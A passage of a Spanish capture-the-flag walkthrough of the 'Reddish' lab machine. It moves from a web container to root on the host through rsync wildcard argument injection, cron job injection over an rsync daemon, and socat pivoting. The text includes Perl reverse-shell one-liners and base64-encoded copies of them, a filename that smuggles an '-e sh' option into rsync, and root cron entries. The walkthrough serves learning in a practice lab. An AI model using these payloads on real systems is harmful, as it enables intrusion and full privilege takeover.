Estamos dentro de la máquina, por el hostname veremos que se llama www. Si listamos las IP que tiene asignadas, podemos ver que posee dos direcciones IP

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ hostname -I
172.20.0.3 172.19.0.3 

Monitoring Processes

Intentaremos identificar procesos que se ejecuten en el sistema en tiempo real gracias al siguiente script en bash

procmon.sh

cat -p procmon.sh     
#!/bin/bash

old_process=$(ps -eo command)

while true; do
	new_process=$(ps -eo command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -v "procmon.sh" | grep -v "command"
	old_process=$new_process
done

Podemos aprovechar que tenemos una consola para pegar el contenido de este script en una cadena en base64 y guardarlo dentro de un archivo con el mismo nombre en la máquina víctima

cat procmon.sh | base64 -w 0 | xclip -sel clip 

Ahora en la máquina www, decodificamos el contenido del script y le asignamos permisos de ejecución

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ echo IyEvYmluL2Jhc2gKCm9sZF9wcm9jZXNzPSQocHMgLWVvIGNvbW1hbmQpCgp3aGlsZSB0cnVlOyBkbwoJbmV3X3Byb2Nlc3M9JChwcyAtZW8gY29tbWFuZCkKCWRpZmYgPChlY2hvICIkb2xkX3Byb2Nlc3MiKSA8KGVjaG8gIiRuZXdfcHJvY2VzcyIpIHwgZ3JlcCAiW1w+XDxdIiB8IGdyZXAgLXYgInByb2Ntb24uc2giIHwgZ3JlcCAtdiAiY29tbWFuZCIKCW9sZF9wcm9jZXNzPSRuZXdfcHJvY2Vzcwpkb25lCg== | base64 -d > /tmp/procmon.sh

chmod +x /tmp/procmon.sh

Ejecutaremos el script para detectar nuevos comandos que se ejecutan en el sistema

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ /tmp/procmon.sh 
> /usr/sbin/CRON
> /bin/sh -c sh /backup/backup.sh
> /bin/sh -c sh /backup/backup.sh
> sh /backup/backup.sh
> rsync -a *.rdb rsync://backup:873/src/rdb/
< /bin/sh -c sh /backup/backup.sh
< rsync -a *.rdb rsync://backup:873/src/rdb/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
< rsync -a rsync://backup:873/src/backup/ /var/www/html/
< /bin/sh -c sh /backup/backup.sh
< sh /backup/backup.sh
< rsync -a rsync://backup:873/src/backup/ /var/www/html/
> /usr/sbin/sendmail -i -FCronDaemon -B8BITMIME -oem root
< /usr/sbin/CRON
< /usr/sbin/sendmail -i -FCronDaemon -B8BITMIME -oem root
> /usr/sbin/exim4 -Mc 1uDDv3-00074Y-Rf
> /usr/sbin/exim4 -Mc 1uDDv3-00074Y-Rf
> [exim4] <defunct>
< /usr/sbin/exim4 -Mc 1uDDv3-00074Y-Rf
< /usr/sbin/exim4 -Mc 1uDDv3-00074Y-Rf
< [exim4] <defunct>

Podemos ver que se ejecuta un script de bash llamado backup.sh, y luego una serie de instrucciones de rsync, que muy posiblemente tengan como origin el script

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

En el script se utiliza el comando rsync para cargar cualquier archivo con extensión .rdb en un directorio /src/rdb correspondiente a un host backup por el puerto 873. Si intentamos usar ping para ver qué dirección IP corresponde a ese host, no podremos debido a limitación de permisos

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ which ping | xargs ls -l
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping

Abusing Wildcard Filename - rsync

Somos propietarios del directorio f187a0ec71ce99642e4f0afbd441a68b, y el script recoge archivos del mismo

www-data@www:/var/www/html/8924d0549008565c554f8128cd11fda4$ ls -la ..
total 28
drwxr-xr-x 5 root     root     4096 Jul 15  2018 .
drwxr-xr-x 1 root     root     4096 Jul 15  2018 ..
drwxr-xr-x 3 root     root     4096 Jul 15  2018 8924d0549008565c554f8128cd11fda4
drwxr-xr-x 2 root     root     4096 Jul 15  2018 assets
drwxr-xr-x 2 www-data www-data 4096 Jul 15  2018 f187a0ec71ce99642e4f0afbd441a68b
-rw-r--r-- 1 root     root     2023 May  4  2018 index.html
-rw-r--r-- 1 root     root       17 May  4  2018 info.php

Sabiendo que tenemos capacidad de escritura, podemos crear un archivo malicioso que se encargue de ejecutar un comando a través de la herramienta rsync haciendo uso del parámetro -e, tal como se muestra en el siguiente artículo de GTFOBins

  • https://gtfobins.github.io/gtfobins/rsync/
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

La idea sería llegar a ejecutar un archivo que contenga instrucciones en bash, en este caso, enviaremos una shell, pero que será root quien ejecute la instrucción.

Crearemos el siguiente archivo

reverse.rdb

cat reverse.rdb -p 

perl -e 'use Socket;$i="172.19.0.4";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Proof of Concept

Como no se está validando el nombre de archivo porque se usa un asterisco (*) para autocompletarlo, podemos enviar un nombre que contenga el parámetro y ejecute el otro archivo que creamos

rsync -e bin sh reverse.rdb

Copiamos el contenido del archivo y lo almacenamos en la clipboard

cat reverse.rdb | base64 -w 0 | xclip -sel clip

En la máquina víctima decodificamos la cadena en base64 y la guardamos en el archivo reverse.rdb

bash-4.3$ cd ../f187a0ec71ce99642e4f0afbd441a68b/
bash-4.3$ echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuNCI7JHA9MTExMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > reverse.rdb
bash-4.3$ touch -- '-e sh reverse.rdb'
bash-4.3$ ls
-e sh reverse.rdb  reverse.rdb

Al cabo de unos momentos deberíamos ganar acceso como el usuario root a la máquina www

nc -lvnp 2222
listening on [any] 2222 ...
connect to [10.10.14.169] from (UNKNOWN) [10.10.10.94] 44572
/bin/sh: 0: can\'t access tty; job control turned off
# id	
uid=0(root) gid=0(root) groups=0(root)

TTY Treatment

Haremos nuevamente un tratamiento de la tty para tener una consola interactiva

# script /dev/null -c bash
root@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b# ^Z
[1]  + 157072 suspended  nc -lvnp 2222
root@parrot exploits # stty raw -echo; fg
[1]  + 157072 continued  nc -lvnp 2222
                                      reset xterm

Retocaremos la variable TERM y las proporciones de la terminal

root@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b# export TERM=xterm
root@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b# stty rows 44 columns 184

En este punto podemos ver la flag del usuario no privilegiado, que se ubica en el directorio /home/somaro

bash-4.3# cat somaro/user.txt 
e41...


Reconocimiento - backup


Recordemos que tenemos asignada una nueva IP (172.20.0.3)

root@www:/tmp# hostname -I 
172.19.0.3 172.20.0.3

Con los privilegios actuales, podemos hacer uso del comando ping para identificar el host backup que posiblemente esté dentro del segmento 172.20.0.0/16

root@www:/tmp# ping -c1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.047 ms

--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.047/0.047/0.047/0.000 ms

Ports Scanning

Identificaremos puertos abiertos utilizando el script port_scanner.sh que utilizamos en la máquina nodered a la IP de backup

root@www:/tmp# echo '172.20.0.2' > host.txt
root@www:/tmp# ./port_scanner.sh host.txt 

Scanning hosts(s) from: (host.txt)
	[+] Port 873/open on host 172.20.0.2

Lógicamente vemos el puerto 873 abierto, que es el puerto por el cual se envían los archivos .rdb con el script en /backup/backup.sh

Actualicemos el mapeo de las redes internas para no confundirnos

[+] Host 172.18.0.1 is up!
        [+] Port 1880/open

[+] Host 172.19.0.1 is up!
[+] Host 172.19.0.2 is up!
    [+] Port 6379/open

[+] Host 172.19.0.3 172.20.0.3 is up! <-- www (ACTUAL) -> 172.19.0.3:1111 (Reverse Shell)
	[+] Port 80/open
[+] Host 172.18.0.2 172.19.0.4 is up! <-- nodered :1111 -> 10.10.14.12:2222 (Socat)
[+] Host 172.20.0.2 is up! <-- backup
    [+] Port 873/open


Intrusión / Explotación - backup


Abusing rsync

Rsync es una herramienta de línea de comandos para la sincronización de archivos y directorios, tanto local como remota, que permite transferir datos de forma eficiente y rápida.

Podemos cargar archivos de la máquina backup mediante el uso de rsync, que es la función principal de rsync

root@www:/tmp# rsync rsync://backup/src/etc/hosts hosts

root@www:/tmp# cat hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.20.0.2	backup

Understanding cron Jobs

cron es un programa que nos permite ejecutar tareas de acuerdo a intervalos regulares de tiempo. Su sintaxis se define de la siguiente manera

*    *    *    *    *   /home/user/bin/script.sh
|    |    |    |    |            |
|    |    |    |    |    Command or Script to execute
|    |    |    |    |
|    |    |    |    Día de la semana(0-6 | Sun-Sat)
|    |    |    |
|    |    |    Mes (1-12)
|    |    |
|    |    Día del mes (1-31)
|    |
|    Hora (0-23)
|
Minuto (0-59)

Abusing cron Jobs

Podemos utilizar rsync para ver tareas cron configuradas dentro del directorio /etc/cron.d/

root@www:/tmp# rsync rsync://backup/src/etc/cron.d/ 
drwxr-xr-x          4,096 2018/07/15 17:42:39 .
-rw-r--r--            102 2015/06/11 10:23:47 .placeholder
-rw-r--r--             29 2018/05/04 20:57:55 clean

Vemos que existe una tarea clean, podemos intentar inyectar una nueva tarea que se ejecute cada minuto con el usuario root que ejecute una shell

root@www:/tmp# echo '* * * * * root sh /tmp/reverse.sh' > reverse
root@www:/tmp# rsync reverse rsync://backup/src/etc/cron.d/

Comprobaremos que se haya insertado nuestra tarea cron llamada reverse

root@www:/tmp# rsync rsync://backup/src/etc/cron.d/
drwxr-xr-x          4,096 2025/05/10 19:19:15 .
-rw-r--r--            102 2015/06/11 10:23:47 .placeholder
-rw-r--r--             29 2018/05/04 20:57:55 clean
-rw-r--r--             34 2025/05/10 19:19:15 reverse

Utilizaremos el oneliner en perl que nos envíe una consola a 172.20.0.3 para crear el archivo que ejecutará root en la tarea cron

perl -e 'use Socket;$i="172.20.0.3";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Copiaremos el contenido del script en una cadena de base64

cat reverse_perl_www_to_nodered | base64 -w 0 | xclip -sel clip

En el contenedor www, decodificamos y guardamos en un archivo reverse.sh

root@www:/tmp# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMyI7JHA9MzMzMztzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > reverse.sh

Finalmente subiremos la reverse shell al directorio /tmp/reverse.sh

root@www:/tmp# rsync reverse.sh rsync://backup/src/tmp/reverse.sh -v
reverse.sh

sent 312 bytes  received 41 bytes  706.00 bytes/sec
total size is 220  speedup is 0.62

# Validar el script
root@www:/tmp# rsync rsync://backup/src/tmp/reverse.sh
-rw-r--r--            220 2025/05/10 19:53:52 reverse.sh

File Transfer - socat

En vez de abrir una nueva conexión con socat a nuestro puerto 80. Aprovecharemos el reenvío de tráfico hacia nuestra máquina por el puerto 2222 para abrir un servidor HTTP

python3 -m http.server 2222
Serving HTTP on 0.0.0.0 port 2222 (http://0.0.0.0:2222/) ...

Desde la máquina www, volveremos a definir la función __curl como lo hicimos en la máquina nodered

function __curl() {
  read -r proto server path <<<"$(printf '%s' "${1//// }")"
  if [ "$proto" != "http:" ]; then
    printf >&2 "sorry, %s supports only http\n" "${FUNCNAME[0]}"
    return 1
  fi
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [ "${HOST}" = "${PORT}" ] && PORT=80

  exec 3<>"/dev/tcp/${HOST}/$PORT"
  printf 'GET %s HTTP/1.0\r\nHost: %s\r\n\r\n' "${DOC}" "${HOST}" >&3
  (while read -r line; do
   [ "$line" = $'\r' ] && break
  done && cat) <&3
  exec 3>&-
}

Ahora podemos descargarnos socat en la máquina www. Haremos la solicitud a 172.19.0.4 (nodered) por el puerto 1111

root@www:/tmp# __curl http://172.19.0.4:1111/socat > socat

# Damos permisos de ejecución
root@www:/tmp# chmod +x socat

Pivoting to backup

Ahora reenviaremos la conexión desde un puerto local, por ejemplo el 3333 al contenedor nodered que ya tiene un túnel establecido con nuestra IP al puerto 2222, de esta forma, cuando se ejecute la reverse shell, podremos recibirla desde nuestra máquina atacante

root@www:/tmp# ./socat TCP-LISTEN:3333,fork TCP:172.19.0.4:1111 & 
[1] 16024

El flujo que queremos que tenga el tráfico se verá de la siguiente manera desde nuestro mapeo de red

1. [+] Host 172.20.0.2 is up! <-- backup (Reverse Shell) -> 172.20.0.3:3333
2. [+] Host 172.20.0.3 is up! <-- www :3333 -> 172.19.0.4:1111 (Socat)
3. [+] Host 172.19.0.4 is up! <-- nodered :1111 -> 10.10.14.12:2222 (Socat)

Shell as root - backup

Al cabo de unos momentos ganaremos acceso como root al contenedor backup

nc -lvnp 2222                   
listening on [any] 2222 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 49108
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

TTY Treatment

Haremos un nuevo tratamiento de la tty para hacer más interactiva esta consola, además asignaremos el valor xterm a la variable TERM y ajustaremos las proporciones de la terminal

nc -lvnp 2222                   
listening on [any] 2222 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 49108
/bin/sh: 0: can\'t access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

root@backup:~# export TERM=xterm
root@backup:~# stty rows 44 columns 184


Reconocimiento - reddish


Disk Mount

Investigando los discos montados que posee el contendor backup, nos daremos cuenta que posee un disco sda2

root@backup:~# df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay         5.3G  4.1G  1.2G  78% /
tmpfs            64M     0   64M   0% /dev
tmpfs           997M     0  997M   0% /sys/fs/cgroup
/dev/sda2       5.3G  4.1G  1.2G  78% /backup
shm              64M     0   64M   0% /dev/shm

Montaremos este disco en una carpeta que crearemos en un directorio, idealmente tmp

root@backup:~# mount /dev/sda2 /tmp/sda2/
root@backup:~# cd /mnt/sda2/

root@backup:/mnt/sda2# ls
bin  boot  dev	etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt	proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

Tenemos un nuevo sistema de archivos, podemos ver la flag del usuario root en root/root.txt. Sin embargo, lo que buscamos es ganar acceso al sistema

Intrusión / Explotación - reddish


Abusing cron Jobs

Como este nuevo sistema de archivos está sincronizado con la máquina real (reddish), inyectaremos una tarea cron al igual que en backup para enviarnos una reverse shell

root@backup:/mnt/sda2/etc/cron.d# echo '* * * * * root sh /tmp/reverse.sh' > reverse_job

Utilizaremos el oneliner de perl enviando la shell a nuestra IP por un puerto, recordemos que tenemos comunicación directa con reddish

cat reverse_perl

perl -e 'use Socket;$i="10.10.14.169";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Copiaremos el script en una cadena codificada en base64 para depositarla en el contenedor backup

cat reverse_perl | base64 -w 0 | xclip -sel clip

Nos dirigiremos a /mnt/sda2/tmp y crearemos el script que envíe la reverse shell a nuestra IP

root@backup:/mnt/sda2/etc/cron.d# cd ../../tmp

root@backup:/mnt/sda2/tmp# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMTY5IjskcD00NDM7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwo= | base64 -d > reverse.sh

Root Time

Pondremos el puerto que seleccionamos a la escucha, al cabo de unos momentos deberíamos ganar acceso a la máquina reddish como root :0

nc -lvnp 443     
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 44906
/bin/sh: 0: can't access tty; job control turned off
# id        
uid=0(root) gid=0(root) groups=0(root)
# hostname
reddish

TTY Treatment

Haremos el último tratamiento de la TTY para operar con la shell de reddish de forma más cómoda

# script /dev/null -c bash
Script started, file is /dev/null
root@reddish:~# ^Z
[1]  + 313937 suspended  nc -lvnp 443
root@parrot exploits # stty raw -echo; fg  
[1]  + 313937 continued  nc -lvnp 443
                                     reset xterm

root@reddish:~# export TERM=xterm
root@reddish:~# stty rows 44 columns 184

Ahora ya podemos ver la flag en el directorio root

root@reddish:~# cat root.txt 
0bd...


Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:

Wisdom begins in wonder. — Socrates